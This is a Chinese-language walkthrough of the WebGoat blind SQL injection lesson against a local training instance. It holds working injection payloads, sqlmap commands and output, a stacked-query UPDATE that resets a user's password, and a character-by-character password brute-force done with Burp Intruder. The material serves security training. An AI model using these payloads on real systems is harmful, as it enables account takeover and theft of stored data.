WebGoat SQL盲注 解题思路
★ 题目:SQL Injection (advanced)
地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4
题目要求最终以Tom的身份登录到系统中。
LOGIN界面:
REGISTER界面:
★ 什么是SQL盲注?
这是我自己的理解,不一定准确,仅供参考。
SQL盲注的意思是,注入数据到SQL语句中,服务器不会返回数据库里的详细信息,只会给出 true或false的信息,或者给出延时的信息(注入的sleep(10)起作用了)。
所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。
权威的对SQL盲注的解释,可以参考:
WebGoat中对 SQL盲注的说明:
Blind SQL Injection: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/3
OWASP对Blind SQL Injection的说明: https://www.owasp.org/index.php/Blind_SQL_Injection
★ SQL盲注的思路
以我自己的理解,有两种思路。一种思路是,先获取数据库中表的名字,然后获取表中每一列的列名,然后获取表中的数据。另一种思路是,直接猜表中的列名,然后获取表中的数据。第一种思路是稳妥的,复杂的,需要很多次SQL查询。第二种有些碰运气了,运气好可以很快猜中列名,运气不好(例如列名中带有随机值password_1ey2d),那猜中的概率是极低的。
对于WebGoat这道题,有人是通过直接猜列名来解题的,链接在这里,该文作者直接试列名’password’,发现没有报错,说明列名没有错误,然后通过暴力破解的方式解决此题。
下面开始解题。
★ 判断注入的点在哪里
有2个界面:LOGIN和REGISTER。
LOGIN界面中有个可以输入的值:Username和Password。
REGISTER界面有4个可以输入的值: Username、Email、Password和Confirm Password。
分别对每一个输入值进行尝试。
当然,用 sqlmap 进行探测SQL注入的位置更高效一些。
? 对LOGIN界面的尝试
Username输入 hello‘ or 1=1 --,Password输入任意值。无效。
同理,对Password的几次尝试也都无效。
通过Burpsuite的Proxy可以知道,采用sleep(10)会报错,因为HSQLDB中不支持这个函数。
? 对REGISTER界面的尝试
先注册一个新用户,用户信息如下:
Username输入 hello。
Email地址随意,例如[email protected]
Password和Confirm Password都输入 1。
点击『Register Now』之后,界面提示『User hello created, please proceed to the login page.』。说明注册成功。
然后,分别尝试用户名:hello‘ or 1=1 --,hello‘ or 1=2 --,hello‘ and 1=1 -- 和 hello‘ and 1=2 --
其他信息:Email地址随意,例如[email protected]。Password和Confirm Password都输入 1。
结果如下:
用户名 结果
hello‘ or 1=1 -- User hello’ or 1=1 – already exists please try to register with a different username.
这说明存在SQL注入,因为如果不存在SQL注入,用户名hello‘ or 1=1 --是不存在的,不应该提示『已存在』。说明hello‘ or 1=1 --SQL语句被解析了。变成了一定要查询数据(where true),即使查询出来的不是hello用户。
hello‘ or 1=2 -- User hello’ or 1=2 – already exists please try to register with a different username.
说明存在SQL注入,否则用户名为hello‘ or 1=2 --的用户是不存在的。这也说明此时查询的就是刚刚注册的hello用户。
hello‘ and 1=1 -- User hello’ and 1=1 – already exists please try to register with a different username.
说明存在SQL注入,否则用户名为hello‘ and 1=1 --的用户是不存在的。这也说明此时查询的就是刚刚注册的hello用户。
hello‘ and 1=2 -- User hello’ and 1=2 – created, please proceed to the login page.
如果单从这一条来说,是不能确定是否存在SQL注入的,因为有两种可能性。
可能1: 用户名为hello‘ and 1=2 --的用户确实不存在,所以可以注册。
可能2:and 1=2起作用了,它的结果是false,对于select * from xxx_table where false来说,是始终不会查询到数据的。所以可以注册。
通过对四种情况的分析,可以得出结论: REGISTER界面的Username存在SQL注入。由于只存在两种返回结果,没有其他多余的信息,所以是SQL盲注。
我们能利用的就是这两种返回信息,来做布尔判断(true/false)。
信息1:User xxx already exists please try to register with a different username.
信息2:User xxx created, please proceed to the login page.
? 用 sqlmap 确认SQL注入的位置
使用 sqlmap 之前,需要确认几个数据:
--cookie;cookie信息是什么?
-u: url是什么
--data:HTTP请求的body是什么?
通过Burpsuite的Proxy工具可以截获http请求,例如,拿到的http数据可能是这样的:
PUT /WebGoat/SqlInjection/challenge HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 78
Accept: */*
Origin: http://127.0.0.1:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72
Connection: close
username_reg=tom&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cookie的信息:Cookie: JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72
url:http://127.0.0.1:8080/WebGoat/SqlInjection/challenge
body信息:username_reg=tom&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1
有了这3个信息,构造sqlmap的命令参数,如下:
C:Python27>python.exe H:gitsqlmap-devsqlmap.py --cookie "JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72" -u http://127.0.0.1:8080/WebGoat/SqlInjection/challenge --data "username_reg=tom1&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1"
1
执行sqlmap,第一次执行sqlmap得到的结果很多,再执行一次,得到的关键信息如下:
C:Python27>python.exe H:gitsqlmap-devsqlmap.py --cookie "JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72" -u http://127.0.0.1:8080/WebGoat/SqlInjection/challeng
e --data "username_reg=tom1&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1" --method "PUT"
___
__H__
___ ___[‘]_____ ___ ___ {1.2.9.17#dev}
|_ -| . [‘] | .‘| . |
|___|_ [‘]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user‘s responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:22:59
[17:23:00] [INFO] resuming back-end DBMS ‘hsqldb‘
[17:23:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username_reg (PUT) (注:SQL注入的位置,是username_reg,注册时的用户名)
Type: boolean-based blind (注:存在基于布尔值的盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username_reg=tom1‘ AND 263password88=2688 AND ‘qNhV‘=‘qNhV&[email protected]&password_reg=1&confirm_password_reg=1
Type: stacked queries (注:存在堆叠查询的问题)
Title: HSQLDB >= 1.7.2 stacked queries (heavy query - comment)
Payload: username_reg=tom1‘;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR(9762),0),500000000),NULL)--&[email protected]&password_reg=1&confirm_password_reg=1
Type: AND/OR time-based blind (注:存在基于时间的盲注)
Title: HSQLDB > 2.0 AND time-based blind (heavy query)
Payload: username_reg=tom1‘ AND CHAR(121)||CHAR(117)||CHAR(79)||CHAR(68)=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY(CHAR(65)||CHAR(69)||CHAR(83),NULL),0),500000
000),NULL) AND ‘hRZB‘=‘hRZB&[email protected]&password_reg=1&confirm_password_reg=1
---
[17:23:00] [INFO] the back-end DBMS is HSQLDB
back-end DBMS: HSQLDB >= 1.7.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
由 sqlmap 工具可以很快得到SQL注入的位置,是username_reg,即注册时的用户名。
? 确认Tom在数据库中的名字
还有一个信息需要确认,即Tom在数据库中的名字是什么?
注册一个名为『Tom』、『tom』或者『TOM』的人试试,即可。试的结果如下:
注册名为『Tom』的人,显示 『User Tom created, please proceed to the login page.』,而注册名为『tom』的人,显示『User tom already exists please try to register with a different username.』。所以,Tom在数据库中的名字为『tom』。
★ 如何以Tom的身份登录?
有2种可能性:
可能1:篡改Tom的密码
需要做的是,找到Tom所在表名,再找到Tom的密码的列名,然后通过堆叠查询(stacked queries)来修改Tom的密码。注入的数据是这样的:hello‘; update XXX_TABLE set PASSWORD_COLUMN = ‘123456‘; --,然后以用户名tom和密码123456登录即可。
这种情况通常是这样处理的:
(1) 遍历表名:select table_name from information_schema.tables where id=1,id要遍历所有可能的值,例如id取值1到20,尝试20个表。或者,采用limit offset, count来分别获取每一个表的名字。
(2) 获取某个表名的每一位字符是什么:substring((select table_name from information_schema.tables where id=1), 1,1)=‘a‘,判断表名中第一个字符是不是字符a,是不是b,是不是c,以此类推。然后接着判断表名的第二个字符是不是a,是不是b,等等。最终得到表名的每一位。
(3) 然后获取表中的列名:select column_name from information_schema.columns where table_name=‘刚刚获取的表名‘ limit 0,1。每次只获取一个列名,获取下一个列名:limit 1,1,limit 2,1,以此类推。
(4) 获取列名的每一位字符是什么:substring((select column_name from information_schema.columns where table_name=‘刚刚获取的表名‘ limit 0,1),1,1)=‘a‘,判断列名第一个字符是不是a,然后判断方法跟判断表名是一样的。纯粹的暴力破解。
(5) 得到表名和列名之后,就可以篡改tom的密码了。
可惜的是,对于此题,我没有获取到表名,我把获取不到表名的问题提交到overflow上,目前没人解答。所以,目前此路不通。
需要注意的是:substring获取字符时,从下标1开始,即substring(xxx,1,1), substring(xxx,2,1)
可能2:暴力破解Tom的密码
需要做的是,先猜出Tom的密码的列名,然后通过暴力破解的方式获取tom的密码。此种方式可以不用获取表名。我采用的是这种方式。
★ 猜tom密码在表中的列名
这个过程全看运气,假设我们运气好,先猜password。
猜列名,可以使用:tom‘ or password=‘12345,结果没有报错,说明列名password是正确的(注意:不是说password的值是12345)。
如果使用tom‘ or password2=‘12345,则浏览器貌似没有反应,通过Burpsuite的Proxy中的HTTP history,可以看到『java.sql.SQLSyntaxErrorException』的异常,原因是『user lacks privilege or object not found: PASSWORD2』,说明不存在 password2 这列。
猜中列名为password之后,就要进一步确认tom的密码了,这之后就不是瞎猜了,而是暴力破解。
★ 选取注入的数据
再次说明,我们能利用的就是这两种返回信息,来做布尔判断(true/false)。
信息1:User xxx already exists please try to register with a different username.
信息2:User xxx created, please proceed to the login page.
可以采用的注入数据:tom‘ and true -- 和tom‘ and false --。
对于tom‘ and true --,一定会返回『User xxx already exists please try to register with a different username.』。
对于tom‘ and false --,相当于where false,所以一定查询不到,一定会返回『User xxx created, please proceed to the login page』。
我们将true/false替换为合法的SQL语句:
substring(password,1,1)=‘a‘,这是判断password的第一位是不是字符a,其结果是true/false。
我们也可以不用 tom‘ and true -- 这里面的注释--,完整的注入数据为:
tom‘ and substring(password,1,1)=‘a
如果返回的结果是『User xxx already exists』,那么说明substring(password,m,1)=‘x表达式为true,即,password的第m位是x(x表示某个字符),以此来判断password的每一位。
通过改变substring的第2个参数(password的下标)和后面的字符a(可以是a到z,A到Z,等等),遍历password的每一位,从而获取整个password的值。这个过程可以用Burpsuite的Intruder工具来完成。
★ 用Burpsuite的Intruder暴力破解密码
设置如图:
其中payload1是password的下标,取值从1到20(我第一次尝试是20,不过没有获取密码的所有位,之后又取了21到25,为的是尽可能的减少HTPP请求的数量。)。
payload2是可能的字符,取值:a到z,A到Z,0到9,等等。对于此题来说,取值a到z就够了(偷看了webgoat的源代码)。
payload1取值范围1到20,payload2取值范围a到z:26种可能。一共是520种可能(20*26=520)。
之后又将payload1的取值范围设置为21到25,又增加了130种可能(5*26=130)。
找到所有结果是『User xxx already exists』的response,其实通过对response的大小进行排序就可以了。
Password前20位的内容如下:(如果把comments列加上注释,就可以只筛出有效的http请求,从而对payload1排序就可以更清楚找到密码。)
thisisasecretfortomo
Password的后3位为:nly
注:为了减少HTTP请求,payload2的取值范围改为21到24了。
tom的完整的密码是:thisisasecretfortomonly,然后就可以以tom的身份登录了。
Congratulations!